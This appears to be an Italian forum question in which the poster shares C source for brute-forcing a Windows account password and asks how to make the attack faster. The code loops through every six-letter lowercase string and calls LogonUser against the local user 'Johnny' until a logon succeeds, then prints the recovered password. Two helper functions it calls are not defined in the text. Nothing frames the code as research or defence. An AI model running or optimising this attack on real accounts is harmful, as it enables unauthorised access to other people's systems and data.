Ho cercato di trovare un modo per potenziare la bruteforce su Windows, ma il metodo che ho attualmente non è molto efficiente. Ho fatto un po 'di profilazione e ho scoperto che in media può passare attraverso 274.080 tentativi al minuto, il che equivarrebbe a uno scenario peggiore di 18 ore per craccare una password di 6 caratteri senza caratteri speciali. C'è un modo per attaccare in modo più efficiente di questo?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#define WIN_32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0501
#include <windows.h>
#define USERNAME "Johnny"
#define LENGTH 6
#define MINIMUM 'a'
#define MAXIMUM 'z'
double NumberOfPermuationsOfString( int length, char minimum, char maximum )
{
return pow( ( maximum - minimum ) + 1, length );
}
FORCEINLINE int NextPermutation( char ** buffer, const size_t length, char minimum, char maximum )
{
int i = 0;
for ( i = length - 1; i >= 0; --i )
{
if ( ( *buffer )[i] != maximum )
{
++( *buffer )[i];
return 1;
}
else
( *buffer )[i] = minimum;
}
return 0;
}
int Bruteforce( char ** buffer, const size_t length, char minimum, char maximum )
{
size_t result = FALSE;
size_t i = 0;
HANDLE htoken = INVALID_HANDLE_VALUE;
timerMod( TIMER_START );
do
result = LogonUser( USERNAME, ".", *buffer, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &htoken );
while ( !result && NextPermutation( buffer, length, MINIMUM, MAXIMUM ) );
if ( !result ) return 0;
CloseHandle( htoken );
return 1;
}
int main( )
{
char * buffer = malloc( LENGTH + 1 );
if ( !buffer )
showStandardError( "Allocating memory", TRUE );
memset( buffer, 0, LENGTH + 1 );
memset( buffer, MINIMUM, LENGTH );
printf( "Bruteforcing with %0.lf password permuations...\n", NumberOfPermuationsOfString( LENGTH, MINIMUM, MAXIMUM ) );
if ( Bruteforce( &buffer, LENGTH, MINIMUM, MAXIMUM ) )
{
printf( "Success! Password : %s\n", buffer );
return 0;
}
else
return 1;
return 0;
}